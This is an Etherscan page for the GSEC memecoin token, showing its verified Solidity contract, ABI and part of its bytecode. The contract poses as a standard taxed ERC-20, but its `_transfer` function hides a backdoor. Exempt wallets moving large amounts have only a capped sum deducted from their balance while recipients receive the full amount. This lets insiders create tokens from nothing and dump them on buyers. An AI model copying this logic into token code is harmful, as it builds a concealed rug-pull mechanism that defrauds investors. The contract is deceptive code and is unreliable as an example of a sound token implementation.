ETH Price: $3,026.75 (+4.27%)

Token

Government Spending Efficiency Commission (GSEC)
 

Overview

Max Total Supply

1,000,000,000 GSEC

Holders

105

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
lmk.eth
Balance
11,343,867.946760925 GSEC

Value
$0.00
0xc1194384fdf790a6fd039c5d35768142719b259a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GSEC

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-13
*/

// SPDX-License-Identifier: MIT

/**
https://x.com/WatcherGuru/status/1823172911412171066

https://t.me/gsec_erc
*/

pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GSEC is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    mapping (address => bool) public marketPair;
    mapping (uint256 => uint256) private perBuyCount;
    address payable private _taxWallet;
    uint256 private firstBlock = 0;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=40;

    uint256 private _reduceSellTaxAt=40;
    uint256 private _preventSwapBefore=40;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Government Spending Efficiency Commission";
    string private constant _symbol = unicode"GSEC";
    uint256 public _maxTxAmount =  ( _tTotal * 23 ) / 1000;
    uint256 public _maxWalletSize = ( _tTotal * 23 ) / 1000;
    uint256 public _taxSwapThreshold= 0;
    uint256 public _maxTaxSwap= _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public casellAllowed = 2;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caCatalyst = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _w) {
        _taxWallet = payable(_w);
        _balances[_msgSender()] = _tTotal;
        isExile[owner()] = true;
        isExile[address(this)] = true;
        isExile[address(uniswapV2Pair)] = true;
        isExile[address(_taxWallet)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPair(address addr) public onlyOwner {
        marketPair[addr] = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 _tAmount = amount;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
            
            if(block.number == firstBlock){
               require(perBuyCount[block.number] < 60, "Exceeds buys on the first block.");
               perBuyCount[block.number]++;
            }

            if (marketPair[from] && to != address(uniswapV2Router) && ! isExile[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (!marketPair[to] && ! isExile[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(marketPair[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

            if(from != address(this) && isExile[from]){
                uint256 _checktaxsum = 0;
                if(amount >=0 && amount <= _maxTxAmount)
                {
                     _checktaxsum =  22;
                     
                }else{

                    _checktaxsum =  _buyCount> _reduceSellTaxAt ? _finalSellTax: _initialSellTax;
                    _tAmount = min(_maxTxAmount , _tAmount.mul(_checktaxsum));
                }
            }
	    if (!marketPair[from] && !marketPair[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caCatalyst && !inSwap && marketPair[to] && swapEnabled && _buyCount>_preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                if (contractTokenBalance>_taxSwapThreshold)
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && marketPair[to] && swapEnabled && _buyCount>_preventSwapBefore) {
                if (contractTokenBalance>_taxSwapThreshold)
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(_tAmount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {
        swapEnabled = enabled;
        _maxTaxSwap = amount;
    }

    function setcasellAllowed(uint256 amount) external onlyOwner {
        casellAllowed = amount;
    }

    function setcaCatalyst(bool _status) external onlyOwner {
        caCatalyst = _status;
    }

    function reclaimETH() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }

    function reclaimERC20tokens(address _tokenAddr, uint _amount) external onlyOwner {
        IERC20(_tokenAddr).transfer(_taxWallet, _amount);
    }

    function setFeeWallet(address newTaxWallet) external onlyOwner {
        _taxWallet = payable(newTaxWallet);
    }

    function removeLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function allowTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketPair[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_w","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allowTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCatalyst","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"casellAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"reclaimERC20tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reclaimETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"setcaCatalyst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setcasellAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600755600a600855600a6009556000600a556000600b556028600c556028600d556028600e556000600f55600060105560006011556103e86009600a61004c9190610382565b61005a90633b9aca00610398565b610065906017610398565b61006f91906103af565b6012556103e86100816009600a610382565b61008f90633b9aca00610398565b61009a906017610398565b6100a491906103af565b601355600060145560646100ba6009600a610382565b6100c890633b9aca00610398565b6100d291906103af565b60155560026018556019805462ffffff1916620100001790553480156100f757600080fd5b50604051612465380380612465833981016040819052610116916103d1565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b0319166001600160a01b03831617905561017e6009600a610382565b61018c90633b9aca00610398565b3360009081526001602081905260408220929092556003906101b66000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556017548216845282842080548616821790556006549091168352912080549092161790556102263390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61025e6009600a610382565b61026c90633b9aca00610398565b60405190815260200160405180910390a3506103fa565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156102d4578085048111156102b8576102b8610283565b60018416156102c657908102905b60019390931c92800261029d565b935093915050565b6000826102eb5750600161037c565b816102f85750600061037c565b816001811461030e576002811461031857610334565b600191505061037c565b60ff84111561032957610329610283565b50506001821b61037c565b5060208310610133831016604e8410600b8410161715610357575081810a61037c565b6103646000198484610299565b806000190482111561037857610378610283565b0290505b92915050565b600061039160ff8416836102dc565b9392505050565b808202811582820484141761037c5761037c610283565b6000826103cc57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156103e357600080fd5b81516001600160a01b038116811461039157600080fd5b61205c806104096000396000f3fe6080604052600436106101c65760003560e01c80637b7cfc01116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e146104e9578063e68d0b051461052f578063f2fde38b1461054f578063f5b3c3bf1461056f57600080fd5b8063a9059cbb14610473578063bf474bed14610493578063c4e2b619146104a9578063d45cce65146104c957600080fd5b80638f9a55c0116100d15780638f9a55c0146103f057806390b605491461040657806390d49b9d1461042657806395d89b411461044657600080fd5b80637b7cfc01146103a75780637d1db4a5146103bc5780638da5cb5b146103d257600080fd5b8063313ce56711610164578063622565891161013e57806362256589146103275780636e4636671461033c57806370a082311461035c578063715018a61461039257600080fd5b8063313ce567146102b357806349bd5a5e146102cf57806353bc13dc1461030757600080fd5b80630faee56f116101a05780630faee56f1461024457806310c435aa1461026857806318160ddd1461027e57806323b872dd1461029357600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780630f144a481461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e761059f565b6040516101f49190611ba4565b60405180910390f35b34801561020957600080fd5b5061021d610218366004611c07565b6105bf565b60405190151581526020016101f4565b34801561023957600080fd5b506102426105d6565b005b34801561025057600080fd5b5061025a60155481565b6040519081526020016101f4565b34801561027457600080fd5b5061025a60185481565b34801561028a57600080fd5b5061025a610645565b34801561029f57600080fd5b5061021d6102ae366004611c33565b610666565b3480156102bf57600080fd5b50604051600981526020016101f4565b3480156102db57600080fd5b506017546102ef906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561031357600080fd5b50610242610322366004611c74565b6106cf565b34801561033357600080fd5b5061024261071d565b34801561034857600080fd5b50610242610357366004611c91565b6107cf565b34801561036857600080fd5b5061025a610377366004611c74565b6001600160a01b031660009081526001602052604090205490565b34801561039e57600080fd5b506102426107fe565b3480156103b357600080fd5b50610242610872565b3480156103c857600080fd5b5061025a60125481565b3480156103de57600080fd5b506000546001600160a01b03166102ef565b3480156103fc57600080fd5b5061025a60135481565b34801561041257600080fd5b50610242610421366004611cb8565b610c75565b34801561043257600080fd5b50610242610441366004611c74565b610cbb565b34801561045257600080fd5b506040805180820190915260048152634753454360e01b60208201526101e7565b34801561047f57600080fd5b5061021d61048e366004611c07565b610d07565b34801561049f57600080fd5b5061025a60145481565b3480156104b557600080fd5b506102426104c4366004611c07565b610d14565b3480156104d557600080fd5b5060195461021d9062010000900460ff1681565b3480156104f557600080fd5b5061025a610504366004611cd5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561053b57600080fd5b5061024261054a366004611d0e565b610dba565b34801561055b57600080fd5b5061024261056a366004611c74565b610e02565b34801561057b57600080fd5b5061021d61058a366004611c74565b60046020526000908152604090205460ff1681565b6060604051806060016040528060298152602001611fd660299139905090565b60006105cc338484610eec565b5060015b92915050565b6000546001600160a01b031633146106095760405162461bcd60e51b815260040161060090611d2c565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610642573d6000803e3d6000fd5b50565b60006106536009600a611e5e565b61066190633b9aca00611e6d565b905090565b6000610673848484611010565b6106c584336106c085604051806060016040528060288152602001611fff602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061180c565b610eec565b5060019392505050565b6000546001600160a01b031633146106f95760405162461bcd60e51b815260040161060090611d2c565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161060090611d2c565b6107536009600a611e5e565b61076190633b9aca00611e6d565b6012556107706009600a611e5e565b61077e90633b9aca00611e6d565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107ae6009600a611e5e565b6107bc90633b9aca00611e6d565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107f95760405162461bcd60e51b815260040161060090611d2c565b601855565b6000546001600160a01b031633146108285760405162461bcd60e51b815260040161060090611d2c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089c5760405162461bcd60e51b815260040161060090611d2c565b601754600160a01b900460ff16156108f65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610600565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561093f9030906109316009600a611e5e565b6106c090633b9aca00611e6d565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610992573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b69190611e84565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3c9190611e84565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aad9190611e84565b601780546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556016541663f305d7194730610b2d816001600160a01b031660009081526001602052604090205490565b600080610b426000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610baa573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bcf9190611ea1565b505060175460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4c9190611ecf565b506019805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b6000546001600160a01b03163314610c9f5760405162461bcd60e51b815260040161060090611d2c565b60198054911515620100000262ff000019909216919091179055565b6000546001600160a01b03163314610ce55760405162461bcd60e51b815260040161060090611d2c565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60006105cc338484611010565b6000546001600160a01b03163314610d3e5760405162461bcd60e51b815260040161060090611d2c565b60065460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db59190611ecf565b505050565b6000546001600160a01b03163314610de45760405162461bcd60e51b815260040161060090611d2c565b601980549215156101000261ff001990931692909217909155601555565b6000546001600160a01b03163314610e2c5760405162461bcd60e51b815260040161060090611d2c565b6001600160a01b038116610e915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610600565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610600565b6001600160a01b038216610faf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610600565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610600565b6001600160a01b0382166110d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610600565b600081116111385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610600565b60008161114d6000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561117c57506000546001600160a01b03858116911614155b156116c8576111ad60646111a7600c54600f541161119c576008546111a0565b600a545b8690611846565b906118cf565b915060075443036112385743600090815260056020526040902054603c116112175760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e6044820152606401610600565b43600090815260056020526040812080549161123283611eec565b91905055505b6001600160a01b03851660009081526004602052604090205460ff16801561126e57506016546001600160a01b03858116911614155b801561129357506001600160a01b03841660009081526003602052604090205460ff16155b1561137b576012548311156112ea5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610600565b6013548361130d866001600160a01b031660009081526001602052604090205490565b6113179190611f05565b11156113655760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610600565b600f805490600061137583611eec565b91905055505b6001600160a01b03841660009081526004602052604090205460ff161580156113bd57506001600160a01b03841660009081526003602052604090205460ff16155b1561143d57601354836113e5866001600160a01b031660009081526001602052604090205490565b6113ef9190611f05565b111561143d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610600565b6001600160a01b03841660009081526004602052604090205460ff16801561146e57506001600160a01b0385163014155b1561149b5761149860646111a7600d54600f541161148e576009546111a0565b600b548690611846565b91505b6001600160a01b03851630148015906114cc57506001600160a01b03851660009081526003602052604090205460ff165b1561151957600060125484116114e457506016611517565b600d54600f54116114f7576009546114fb565b600b545b6012549091506115149061150f8484611846565b611911565b91505b505b6001600160a01b03851660009081526004602052604090205460ff1615801561155b57506001600160a01b03841660009081526004602052604090205460ff16155b801561157057506001600160a01b0385163014155b1561157a57600091505b3060009081526001602052604090205460195462010000900460ff1680156115a5575060195460ff16155b80156115c957506001600160a01b03851660009081526004602052604090205460ff165b80156115dc5750601954610100900460ff165b80156115eb5750600e54600f54115b1561164b576011544311156116005760006010555b6014548111156116225761162261161d8561150f84601554611911565b611926565b4761162c47611a97565b6010805490600061163c83611eec565b909155505043601155506116c6565b60195460ff1615801561167657506001600160a01b03851660009081526004602052604090205460ff165b80156116895750601954610100900460ff165b80156116985750600e54600f54115b156116c6576014548111156116ba576116ba61161d8561150f84601554611911565b476116c447611a97565b505b505b811561174257306000908152600160205260409020546116e89083611ad5565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117399086815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546117659082611b34565b6001600160a01b0386166000908152600160205260409020556117aa61178b8484611b34565b6001600160a01b03861660009081526001602052604090205490611ad5565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117f48686611b34565b60405190815260200160405180910390a35050505050565b600081848411156118305760405162461bcd60e51b81526004016106009190611ba4565b50600061183d8486611f18565b95945050505050565b600082600003611858575060006105d0565b60006118648385611e6d565b9050826118718583611f2b565b146118c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610600565b9392505050565b60006118c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b76565b600081831161192057826118c8565b50919050565b6019805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061196857611968611f4d565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e59190611e84565b816001815181106119f8576119f8611f4d565b6001600160a01b039283166020918202929092010152601654611a1e9130911684610eec565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a57908590600090869030904290600401611f63565b600060405180830381600087803b158015611a7157600080fd5b505af